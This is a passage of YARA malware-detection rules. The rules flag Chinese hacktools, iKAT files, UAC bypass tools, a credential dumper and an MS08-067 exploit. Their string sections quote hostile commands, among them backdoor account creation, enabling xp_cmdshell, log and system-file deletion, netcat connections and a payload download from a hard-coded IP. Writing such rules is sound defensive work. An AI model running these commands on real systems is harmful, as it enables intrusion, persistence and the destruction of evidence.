		date = "12.10.2014"
		id = "d6b35d4f-7e25-50dd-bef2-08f7033312e8"

	strings:
		$s0 = "\\Result.txt" ascii
		$s1 = "By:ZT QQ:376789051" fullword ascii
		$s2 = "(http://www.eyuyan.com)" fullword wide

	condition:
		all of them
}

rule CN_Hacktool_MilkT_BAT
{
	meta:
		description = "Detects a chinese Portscanner named MilkT - shipped BAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		date = "12.10.2014"
		id = "d680a5f1-6182-5bc8-99de-c3cba1a61903"

	strings:
		$s0 = "for /f \"eol=P tokens=1 delims= \" %%i in (s1.txt) do echo %%i>>s2.txt" ascii
		$s1 = "if not \"%Choice%\"==\"\" set Choice=%Choice:~0,1%" ascii

	condition:
		all of them
}

rule CN_Hacktool_MilkT_Scanner
{
	meta:
		description = "Detects a chinese Portscanner named MilkT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 60
		date = "12.10.2014"
		id = "aa83c983-25c2-5051-88a1-fbc70d947d6e"

	strings:
		$s0 = "Bf **************" ascii fullword
		$s1 = "forming Time: %d/" ascii
		$s2 = "KERNEL32.DLL" ascii fullword
		$s3 = "CRTDLL.DLL" ascii fullword
		$s4 = "WS2_32.DLL" ascii fullword
		$s5 = "GetProcAddress" ascii fullword
		$s6 = "atoi" ascii fullword

	condition:
		all of them
}

rule CN_Hacktool_1433_Scanner
{
	meta:
		description = "Detects a chinese MSSQL scanner"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 40
		date = "12.10.2014"
		id = "77712d29-1a32-59e7-999a-a2ef02212886"

	strings:
		$s0 = "1433" wide fullword
		$s1 = "1433V" wide
		$s2 = "del Weak1.txt" ascii fullword
		$s3 = "del Attack.txt" ascii fullword
		$s4 = "del /s /Q C:\\Windows\\system32\\doors\\" ascii
		$s5 = "!&start iexplore http://www.crsky.com/soft/4818.html)" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and all of ( $s* )
}

rule CN_Hacktool_1433_Scanner_Comp2
{
	meta:
		description = "Detects a chinese MSSQL scanner - component 2"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 40
		date = "12.10.2014"
		id = "7d707be5-dad0-5d91-965b-908a8603b6c0"

	strings:
		$s0 = "1433" wide fullword
		$s1 = "1433V" wide
		$s2 = "UUUMUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUMUUU" ascii fullword

	condition:
		uint16( 0 ) == 0x5a4d and all of ( $s* )
}

rule WCE_Modified_1_1014
{
	meta:
		description = "Modified (packed) version of Windows Credential Editor"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "09a412ac3c85cedce2642a19e99d8f903a2e0354"
		score = 70
		id = "536d1a7f-bda1-5c22-bf72-a177468e7c42"

	strings:
		$s0 = "LSASS.EXE" fullword ascii
		$s1 = "_CREDS" ascii
		$s9 = "Using WCE " ascii

	condition:
		all of them
}

rule ReactOS_cmd_valid
{
	meta:
		description = "ReactOS cmd.exe with correct file name - maybe packed with software or part of hacker toolset"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "05.11.14"
		reference = "http://www.elifulkerson.com/articles/suzy-sells-cmd-shells.php"
		score = 30
		hash = "b88f050fa69d85af3ff99af90a157435296cbb6e"
		id = "47df12b4-d202-5520-9c7f-9d0196bc2267"

	strings:
		$s1 = "ReactOS Command Processor" fullword wide
		$s2 = "Copyright (C) 1994-1998 Tim Norman and others" fullword wide
		$s3 = "Eric Kohl and others" fullword wide
		$s4 = "ReactOS Operating System" fullword wide

	condition:
		all of ( $s* )
}

rule iKAT_wmi_rundll
{
	meta:
		description = "This exe will attempt to use WMI to Call the Win32_Process event to spawn rundll - file wmi_rundll.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "05.11.14"
		score = 65
		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
		hash = "97c4d4e6a644eed5aa12437805e39213e494d120"
		id = "e3d80c95-d333-53cf-8165-b3a1e66ed00d"

	strings:
		$s0 = "This operating system is not supported." fullword ascii
		$s1 = "Error!" fullword ascii
		$s2 = "Win32 only!" fullword ascii
		$s3 = "COMCTL32.dll" fullword ascii
		$s4 = "[LordPE]" ascii
		$s5 = "CRTDLL.dll" fullword ascii
		$s6 = "VBScript" fullword ascii
		$s7 = "CoUninitialize" fullword ascii

	condition:
		all of them and filesize < 15KB
}

rule iKAT_revelations
{
	meta:
		description = "iKAT hack tool showing the content of password fields - file revelations.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "05.11.14"
		score = 75
		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
		hash = "c4e217a8f2a2433297961561c5926cbd522f7996"
		id = "c5ef2c2a-c9c0-5c3a-bbcc-0b0949527850"

	strings:
		$s0 = "The RevelationHelper.DLL file is corrupt or missing." fullword ascii
		$s8 = "BETAsupport@snadboy.com" fullword wide
		$s9 = "support@snadboy.com" fullword wide
		$s14 = "RevelationHelper.dll" fullword ascii

	condition:
		all of them
}

rule iKAT_priv_esc_tasksch
{
	meta:
		description = "Task Schedulder Local Exploit - Windows local priv-esc using Task Scheduler, published by webDevil. Supports Windows 7 and Vista."
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "05.11.14"
		score = 75
		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
		hash = "84ab94bff7abf10ffe4446ff280f071f9702cf8b"
		id = "0786b313-3154-536b-b7eb-c4d8444a309f"

	strings:
		$s0 = "objShell.Run \"schtasks /change /TN wDw00t /disable\",,True" fullword ascii
		$s3 = "objShell.Run \"schtasks /run /TN wDw00t\",,True" fullword ascii
		$s4 = "'objShell.Run \"cmd /c copy C:\\windows\\system32\\tasks\\wDw00t .\",,True" fullword ascii
		$s6 = "a.WriteLine (\"schtasks /delete /f /TN wDw00t\")" fullword ascii
		$s7 = "a.WriteLine (\"net user /add ikat ikat\")" fullword ascii
		$s8 = "a.WriteLine (\"cmd.exe\")" fullword ascii
		$s9 = "strFileName=\"C:\\windows\\system32\\tasks\\wDw00t\"" fullword ascii
		$s10 = "For n = 1 To (Len (hexXML) - 1) step 2" fullword ascii
		$s13 = "output.writeline \" Should work on Vista/Win7/2008 x86/x64\"" fullword ascii
		$s11 = "Set objExecObject = objShell.Exec(\"cmd /c schtasks /query /XML /TN wDw00t\")" fullword ascii
		$s12 = "objShell.Run \"schtasks /create /TN wDw00t /sc monthly /tr \"\"\"+biatchFile+\"" ascii
		$s14 = "a.WriteLine (\"net localgroup administrators /add v4l\")" fullword ascii
		$s20 = "Set ts = fso.createtextfile (\"wDw00t.xml\")" fullword ascii

	condition:
		2 of them
}

rule iKAT_command_lines_agent
{
	meta:
		description = "iKAT hack tools set agent - file ikat.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "05.11.14"
		score = 75
		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
		hash = "c802ee1e49c0eae2a3fc22d2e82589d857f96d94"
		id = "35068d59-272d-55a6-b211-2c138276914c"

	strings:
		$s0 = "Extended Module: super mario brothers" fullword ascii
		$s1 = "Extended Module: " fullword ascii
		$s3 = "ofpurenostalgicfeeling" fullword ascii
		$s8 = "-supermariobrotheretic" fullword ascii
		$s9 = "!http://132.147.96.202:80" fullword ascii
		$s12 = "iKAT Exe Template" fullword ascii
		$s15 = "withadancyflavour.." fullword ascii
		$s16 = "FastTracker v2.00   " fullword ascii

	condition:
		4 of them
}

rule iKAT_cmd_as_dll
{
	meta:
		description = "iKAT toolset file cmd.dll ReactOS file cloaked"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "05.11.14"
		score = 65
		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
		hash = "b5d0ba941efbc3b5c97fe70f70c14b2050b8336a"
		id = "8d15b4b6-25f3-556c-bfa8-eba503c9c649"

	strings:
		$s1 = "cmd.exe" fullword wide
		$s2 = "ReactOS Development Team" fullword wide
		$s3 = "ReactOS Command Processor" fullword wide
		$ext = "extension: .dll" nocase

	condition:
		all of ( $s* ) and $ext
}

rule iKAT_tools_nmap
{
	meta:
		description = "Generic rule for NMAP - based on NMAP 4 standalone"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "05.11.14"
		score = 50
		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
		hash = "d0543f365df61e6ebb5e345943577cc40fca8682"
		id = "be4858e6-a8f3-55eb-9c04-f4def838dde1"

	strings:
		$s0 = "Insecure.Org" fullword wide
		$s1 = "Copyright (c) Insecure.Com" fullword wide
		$s2 = "nmap" fullword nocase
		$s3 = "Are you alert enough to be using Nmap?  Have some coffee or Jolt(tm)." ascii

	condition:
		all of them
}

rule iKAT_startbar
{
	meta:
		description = "Tool to hide unhide the windows startbar from command line - iKAT hack tools - file startbar.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "05.11.14"
		score = 50
		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
		hash = "0cac59b80b5427a8780168e1b85c540efffaf74f"
		id = "f29f15e9-aa29-519a-b4ad-c018aac68fd6"

	strings:
		$s2 = "Shinysoft Limited1" fullword ascii
		$s3 = "Shinysoft Limited0" fullword ascii
		$s4 = "Wellington1" fullword ascii
		$s6 = "Wainuiomata1" fullword ascii
		$s8 = "56 Wright St1" fullword ascii
		$s9 = "UTN-USERFirst-Object" fullword ascii
		$s10 = "New Zealand1" fullword ascii

	condition:
		all of them
}

rule iKAT_Tool_Generic
{
	meta:
		description = "Generic Rule for hack tool iKAT files gpdisable.exe, kitrap0d.exe, uacpoc.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "05.11.14"
		score = 55
		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
		super_rule = 1
		hash0 = "814c126f21bc5e993499f0c4e15b280bf7c1c77f"
		hash1 = "75f5aed1e719443a710b70f2004f34b2fe30f2a9"
		hash2 = "b65a460d015fd94830d55e8eeaf6222321e12349"
		id = "a8064a26-09c0-59f1-bdf9-628a445014ff"

	strings:
		$s0 = "<IconFile>C:\\WINDOWS\\App.ico</IconFile>" fullword
		$s1 = "Failed to read the entire file" fullword
		$s4 = "<VersionCreatedBy>14.4.0</VersionCreatedBy>" fullword
		$s8 = "<ProgressCaption>Run &quot;executor.bat&quot; once the shell has spawned.</P"
		$s9 = "Running Zip pipeline..." fullword
		$s10 = "<FinTitle />" fullword
		$s12 = "<AutoTemp>0</AutoTemp>" fullword
		$s14 = "<DefaultDir>%TEMP%</DefaultDir>" fullword
		$s15 = "AES Encrypting..." fullword
		$s20 = "<UnzipDir>%TEMP%</UnzipDir>" fullword

	condition:
		all of them
}

rule BypassUac2
{
	meta:
		description = "Auto-generated rule - file BypassUac2.zip"
		author = "yarGen Yara Rule Generator"
		hash = "ef3e7dd2d1384ecec1a37254303959a43695df61"
		id = "8b7e49de-9b0a-5dc4-86af-1a854dc649cc"

	strings:
		$s0 = "/BypassUac/BypassUac/BypassUac_Utils.cpp" fullword ascii
		$s1 = "/BypassUac/BypassUacDll/BypassUacDll.aps" fullword ascii
		$s3 = "/BypassUac/BypassUac/BypassUac.ico" fullword ascii

	condition:
		all of them
}

rule BypassUac_3
{
	meta:
		description = "Auto-generated rule - file BypassUacDll.dll"
		author = "yarGen Yara Rule Generator"
		hash = "1974aacd0ed987119999735cad8413031115ce35"
		id = "407a8e12-1160-584d-94c8-7aa78e29c754"

	strings:
		$s0 = "BypassUacDLL.dll" fullword wide
		$s1 = "\\Release\\BypassUacDll" ascii
		$s3 = "Win7ElevateDLL" fullword wide
		$s7 = "BypassUacDLL" fullword wide

	condition:
		3 of them
}

rule BypassUac_9
{
	meta:
		description = "Auto-generated rule - file BypassUac.zip"
		author = "yarGen Yara Rule Generator"
		hash = "93c2375b2e4f75fc780553600fbdfd3cb344e69d"
		id = "a5751d7d-d135-51bc-8351-40374a2d57bf"

	strings:
		$s0 = "/x86/BypassUac.exe" fullword ascii
		$s1 = "/x64/BypassUac.exe" fullword ascii
		$s2 = "/x86/BypassUacDll.dll" fullword ascii
		$s3 = "/x64/BypassUacDll.dll" fullword ascii
		$s15 = "BypassUac" fullword ascii

	condition:
		all of them
}

rule BypassUacDll_6
{
	meta:
		description = "Auto-generated rule - file BypassUacDll.aps"
		author = "yarGen Yara Rule Generator"
		hash = "58d7b24b6870cb7f1ec4807d2f77dd984077e531"
		id = "5be27053-446f-5ea3-a242-2661aeffa3df"

	strings:
		$s3 = "BypassUacDLL.dll" fullword wide
		$s4 = "AFX_IDP_COMMAND_FAILURE" fullword ascii

	condition:
		all of them
}

rule BypassUac_EXE
{
	meta:
		description = "Auto-generated rule - file BypassUacDll.aps"
		author = "yarGen Yara Rule Generator"
		hash = "58d7b24b6870cb7f1ec4807d2f77dd984077e531"
		id = "b88aded5-7dfb-5cdf-bb42-cd8b069259e0"

	strings:
		$s1 = "Wole32.dll" wide
		$s3 = "System32\\migwiz" wide
		$s4 = "System32\\migwiz\\CRYPTBASE.dll" wide
		$s5 = "Elevation:Administrator!new:" wide
		$s6 = "BypassUac" wide

	condition:
		all of them
}

rule APT_Proxy_Malware_Packed_dev
{
	meta:
		author = "FRoth"
		date = "2014-11-10"
		description = "APT Malware - Proxy"
		hash = "6b6a86ceeab64a6cb273debfa82aec58"
		score = 50
		id = "0b81b6c9-86fa-59c1-b58c-80310f6c0680"

	strings:
		$string0 = "PECompact2" fullword
		$string1 = "[LordPE]"
		$string2 = "steam_ker.dll"

	condition:
		all of them
}

rule Tzddos_DDoS_Tool_CN
{
	meta:
		description = "Disclosed hacktool set - file tzddos"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "17.11.14"
		score = 60
		hash = "d4c517eda5458247edae59309453e0ae7d812f8e"
		id = "bf2bfc7b-4db8-5d35-a312-2530a42985d5"

	strings:
		$s0 = "for /f %%a in (host.txt) do (" ascii
		$s1 = "for /f \"eol=S tokens=1 delims= \" %%i in (s2.txt) do echo %%i>>host.txt" fullword ascii
		$s2 = "del host.txt /q" fullword ascii
		$s3 = "for /f \"eol=- tokens=1 delims= \" %%i in (result.txt) do echo %%i>>s1.txt" fullword ascii
		$s4 = "start Http.exe %%a %http%" fullword ascii
		$s5 = "for /f \"eol=P tokens=1 delims= \" %%i in (s1.txt) do echo %%i>>s2.txt" fullword ascii
		$s6 = "del Result.txt s2.txt s1.txt " fullword ascii

	condition:
		all of them
}

rule Ncat_Hacktools_CN
{
	meta:
		description = "Disclosed hacktool set - file nc.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "17.11.14"
		score = 60
		hash = "001c0c01c96fa56216159f83f6f298755366e528"
		id = "bdbfaf75-f8c0-508e-b6b1-9ddea179a325"

	strings:
		$s0 = "nc -l -p port [options] [hostname] [port]" fullword ascii
		$s2 = "nc [-options] hostname port[s] [ports] ... " fullword ascii
		$s3 = "gethostpoop fuxored" fullword ascii
		$s6 = "VERNOTSUPPORTED" fullword ascii
		$s7 = "%s [%s] %d (%s)" fullword ascii
		$s12 = " `--%s' doesn't allow an argument" fullword ascii

	condition:
		all of them
}

rule MS08_067_Exploit_Hacktools_CN
{
	meta:
		description = "Disclosed hacktool set - file cs.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "17.11.14"
		score = 60
		hash = "a3e9e0655447494253a1a60dbc763d9661181322"
		id = "c15836c7-e739-5cc0-9d41-d651ea3e4738"

	strings:
		$s0 = "MS08-067 Exploit for CN by EMM@ph4nt0m.org" fullword ascii
		$s3 = "Make SMB Connection error:%d" fullword ascii
		$s5 = "Send Payload Over!" fullword ascii
		$s7 = "Maybe Patched!" fullword ascii
		$s8 = "RpcExceptionCode() = %u" fullword ascii
		$s11 = "ph4nt0m" fullword wide
		$s12 = "\\\\%s\\IPC" ascii

	condition:
		4 of them
}

rule Hacktools_CN_Burst_sql
{
	meta:
		description = "Disclosed hacktool set - file sql.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "17.11.14"
		score = 60
		hash = "d5139b865e99b7a276af7ae11b14096adb928245"
		id = "77ea95fc-7a6a-522b-8a72-1832598c4d2d"

	strings:
		$s0 = "s.exe %s %s %s %s %d /save" fullword ascii
		$s2 = "s.exe start error...%d" fullword ascii
		$s4 = "EXEC sp_addextendedproc xp_cmdshell,'xplog70.dll'" fullword ascii
		$s7 = "EXEC master..xp_cmdshell 'wscript.exe cc.js'" fullword ascii
		$s10 = "Result.txt" fullword ascii
		$s11 = "Usage:sql.exe [options]" fullword ascii
		$s17 = "%s root %s %d error" fullword ascii
		$s18 = "Pass.txt" fullword ascii
		$s20 = "SELECT sillyr_at_gmail_dot_com INTO DUMPFILE '%s\\\\sillyr_x.so' FROM sillyr_x" fullword ascii

	condition:
		6 of them
}

rule Hacktools_CN_Panda_445TOOL
{
	meta:
		description = "Disclosed hacktool set - file 445TOOL.rar"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "17.11.14"
		score = 60
		hash = "92050ba43029f914696289598cf3b18e34457a11"
		id = "02075631-49cc-5b97-ad8e-92d734a26d34"

	strings:
		$s0 = "scan.bat" fullword ascii
		$s1 = "Http.exe" fullword ascii
		$s2 = "GOGOGO.bat" fullword ascii
		$s3 = "ip.txt" fullword ascii

	condition:
		all of them
}

rule Hacktools_CN_Panda_445
{
	meta:
		description = "Disclosed hacktool set - file 445.rar"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "17.11.14"
		score = 60
		hash = "a61316578bcbde66f39d88e7fc113c134b5b966b"
		id = "02075631-49cc-5b97-ad8e-92d734a26d34"

	strings:
		$s0 = "for /f %%i in (ips.txt) do (start cmd.bat %%i)" fullword ascii
		$s1 = "445\\nc.exe" fullword ascii
		$s2 = "445\\s.exe" fullword ascii
		$s3 = "cs.exe %1" fullword ascii
		$s4 = "445\\cs.exe" fullword ascii
		$s5 = "445\\ip.txt" fullword ascii
		$s6 = "445\\cmd.bat" fullword ascii
		$s9 = "@echo off" fullword ascii

	condition:
		all of them
}

rule Hacktools_CN_WinEggDrop
{
	meta:
		description = "Disclosed hacktool set - file s.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "17.11.14"
		score = 60
		hash = "7665011742ce01f57e8dc0a85d35ec556035145d"
		id = "9b6244ee-5ace-5caa-bfa2-732bcfcfc998"

	strings:
		$s0 = "Normal Scan: About To Scan %u IP For %u Ports Using %d Thread" fullword ascii
		$s2 = "SYN Scan: About To Scan %u IP For %u Ports Using %d Thread" fullword ascii
		$s6 = "Example: %s TCP 12.12.12.12 12.12.12.254 21 512 /Banner" fullword ascii
		$s8 = "Something Wrong About The Ports" fullword ascii
		$s9 = "Performing Time: %d/%d/%d %d:%d:%d --> " fullword ascii
		$s10 = "Example: %s TCP 12.12.12.12/24 80 512 /T8 /Save" fullword ascii
		$s12 = "%u Ports Scanned.Taking %d Threads " fullword ascii
		$s13 = "%-16s %-5d -> \"%s\"" fullword ascii
		$s14 = "SYN Scan Can Only Perform On WIN 2K Or Above" fullword ascii
		$s17 = "SYN Scan: About To Scan %s:%d Using %d Thread" fullword ascii
		$s18 = "Scan %s Complete In %d Hours %d Minutes %d Seconds. Found %u Open Ports" fullword ascii

	condition:
		5 of them
}

rule Hacktools_CN_Scan_BAT
{
	meta:
		description = "Disclosed hacktool set - file scan.bat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "17.11.14"
		score = 60
		hash = "6517d7c245f1300e42f7354b0fe5d9666e5ce52a"
		id = "836e0618-93c7-5519-bbc4-705ff5c2e127"

	strings:
		$s0 = "for /f %%a in (host.txt) do (" ascii
		$s1 = "for /f \"eol=S tokens=1 delims= \" %%i in (s2.txt) do echo %%i>>host.txt" fullword ascii
		$s2 = "del host.txt /q" fullword ascii
		$s3 = "for /f \"eol=- tokens=1 delims= \" %%i in (result.txt) do echo %%i>>s1.txt" fullword ascii
		$s4 = "start Http.exe %%a %http%" fullword ascii
		$s5 = "for /f \"eol=P tokens=1 delims= \" %%i in (s1.txt) do echo %%i>>s2.txt" fullword ascii

	condition:
		5 of them
}

rule Hacktools_CN_Panda_Burst
{
	meta:
		description = "Disclosed hacktool set - file Burst.rar"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "17.11.14"
		score = 60
		hash = "ce8e3d95f89fb887d284015ff2953dbdb1f16776"
		id = "e07c66d1-958e-5ad2-9d5b-380d48af8360"

	strings:
		$s0 = "@sql.exe -f ip.txt -m syn -t 3306 -c 5000 -u http://60.15.124.106:63389/tasksvr." ascii

	condition:
		all of them
}

rule Hacktools_CN_445_cmd
{
	meta:
		description = "Disclosed hacktool set - file cmd.bat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "17.11.14"
		score = 60
		hash = "69b105a3aec3234819868c1a913772c40c6b727a"
		id = "b9693f51-26ac-5bf1-8c4d-ca852a154636"

	strings:
		$bat = "@echo off" fullword ascii
		$s0 = "cs.exe %1" fullword ascii
		$s2 = "nc %1 4444" fullword ascii

	condition:
		uint32( 0 ) == 0x68636540 and $bat at 0 and all of ( $s* )
}

rule Hacktools_CN_GOGOGO_Bat
{
	meta:
		description = "Disclosed hacktool set - file GOGOGO.bat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "17.11.14"
		score = 60
		hash = "4bd4f5b070acf7fe70460d7eefb3623366074bbd"
		id = "b52cc150-81d4-5895-8f83-ee2006f75617"

	strings:
		$s0 = "for /f \"delims=\" %%x in (endend.txt) do call :lisoob %%x" fullword ascii
		$s1 = "http://www.tzddos.com/ -------------------------------------------->byebye.txt" fullword ascii
		$s2 = "ren %systemroot%\\system32\\drivers\\tcpip.sys tcpip.sys.bak" fullword ascii
		$s4 = "IF /I \"%wangle%\"==\"\" ( goto start ) else ( goto erromm )" fullword ascii
		$s5 = "copy *.tzddos scan.bat&del *.tzddos" fullword ascii
		$s6 = "del /f tcpip.sys" fullword ascii
		$s9 = "if /i \"%CB%\"==\"www.tzddos.com\" ( goto mmbat ) else ( goto wangle )" fullword ascii
		$s10 = "call scan.bat" fullword ascii
		$s12 = "IF /I \"%erromm%\"==\"\" ( goto start ) else ( goto zuihoujh )" fullword ascii
		$s13 = "IF /I \"%zuihoujh%\"==\"\" ( goto start ) else ( goto laji )" fullword ascii
		$s18 = "sc config LmHosts start= auto" fullword ascii
		$s19 = "copy tcpip.sys %systemroot%\\system32\\drivers\\tcpip.sys > nul" fullword ascii
		$s20 = "ren %systemroot%\\system32\\dllcache\\tcpip.sys tcpip.sys.bak" fullword ascii

	condition:
		3 of them
}

rule Hacktools_CN_Burst_pass
{
	meta:
		description = "Disclosed hacktool set - file pass.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "17.11.14"
		score = 60
		hash = "55a05cf93dbd274355d798534be471dff26803f9"
		id = "d8f6784f-80c8-51e2-9d86-40022cd8705d"

	strings:
		$s0 = "123456.com" fullword ascii
		$s1 = "123123.com" fullword ascii
		$s2 = "360.com" fullword ascii
		$s3 = "123.com" fullword ascii
		$s4 = "juso.com" fullword ascii
		$s5 = "sina.com" fullword ascii
		$s7 = "changeme" fullword ascii
		$s8 = "master" fullword ascii
		$s9 = "google.com" fullword ascii
		$s10 = "chinanet" fullword ascii
		$s12 = "lionking" fullword ascii

	condition:
		all of them
}

rule Hacktools_CN_JoHor_Posts_Killer
{
	meta:
		description = "Disclosed hacktool set - file JoHor_Posts_Killer.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "17.11.14"
		score = 60
		hash = "d157f9a76f9d72dba020887d7b861a05f2e56b6a"
		id = "68bba78e-f3a0-5eaa-9c63-e5f23a76b328"

	strings:
		$s0 = "Multithreading Posts_Send Killer" fullword ascii
		$s3 = "GET [Access Point] HTTP/1.1" fullword ascii
		$s6 = "The program's need files was not exist!" fullword ascii
		$s7 = "JoHor_Posts_Killer" fullword wide
		$s8 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
		$s10 = "  ( /s ) :" fullword ascii
		$s11 = "forms.vbp" fullword ascii
		$s12 = "forms.vcp" fullword ascii
		$s13 = "Software\\FlySky\\E\\Install" fullword ascii

	condition:
		5 of them
}

rule Hacktools_CN_Panda_tesksd
{
	meta:
		description = "Disclosed hacktool set - file tesksd.jpg"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "17.11.14"
		score = 60
		hash = "922147b3e1e6cf1f5dd5f64a4e34d28bdc9128cb"
		id = "399ff307-c2e8-57bb-b792-a2c599e8686e"

	strings:
		$s0 = "name=\"Microsoft.Windows.Common-Controls\" " fullword ascii
		$s1 = "ExeMiniDownload.exe" fullword wide
		$s16 = "POST %Hs" fullword ascii

	condition:
		all of them
}

rule Hacktools_CN_Http
{
	meta:
		description = "Disclosed hacktool set - file Http.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "17.11.14"
		score = 60
		hash = "788bf0fdb2f15e0c628da7056b4e7b1a66340338"
		id = "bbff6ff6-8cef-5a83-afd3-34f306e8e715"

	strings:
		$s0 = "RPCRT4.DLL" fullword ascii
		$s1 = "WNetAddConnection2A" fullword ascii
		$s2 = "NdrPointerBufferSize" fullword ascii
		$s3 = "_controlfp" fullword ascii

	condition:
		all of them and filesize < 10KB
}

rule Hacktools_CN_Burst_Start
{
	meta:
		description = "Disclosed hacktool set - file Start.bat - DoS tool"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014-11-17"
		modified = "2023-01-27"
		score = 60
		hash = "75d194d53ccc37a68286d246f2a84af6b070e30c"
		id = "1291fbc5-fbb3-5425-bb9a-e45f4d7cf562"

	strings:
		$s0 = "for /f \"eol= tokens=1,2 delims= \" %%i in (ip.txt) do (" ascii
		$s1 = "Blast.bat /r 600" fullword ascii
		$s2 = "Blast.bat /l Blast.bat" fullword ascii
		$s3 = "Blast.bat /c 600" fullword ascii
		$s4 = "start Clear.bat" fullword ascii
		$s5 = "del Result.txt" fullword ascii
		$s6 = "s syn %%i %%j 3306 /save" fullword ascii
		$s7 = "start Thecard.bat" fullword ascii
		$s10 = "setlocal enabledelayedexpansion" fullword ascii

	condition:
		5 of them
}

rule Hacktools_CN_Panda_tasksvr
{
	meta:
		description = "Disclosed hacktool set - file tasksvr.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "17.11.14"
		score = 60
		hash = "a73fc74086c8bb583b1e3dcfd326e7a383007dc0"
		id = "5c85b382-551a-5e9e-9af8-d106cbe26f74"

	strings:
		$s2 = "Consys21.dll" fullword ascii
		$s4 = "360EntCall.exe" fullword wide
		$s15 = "Beijing1" fullword ascii

	condition:
		all of them
}

rule Hacktools_CN_Burst_Clear
{
	meta:
		description = "Disclosed hacktool set - file Clear.bat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "17.11.14"
		score = 60
		hash = "148c574a4e6e661aeadaf3a4c9eafa92a00b68e4"
		id = "21f33a36-779e-5eac-819c-ef79f291b43c"

	strings:
		$s0 = "del /f /s /q %systemdrive%\\*.log    " fullword ascii
		$s1 = "del /f /s /q %windir%\\*.bak    " fullword ascii
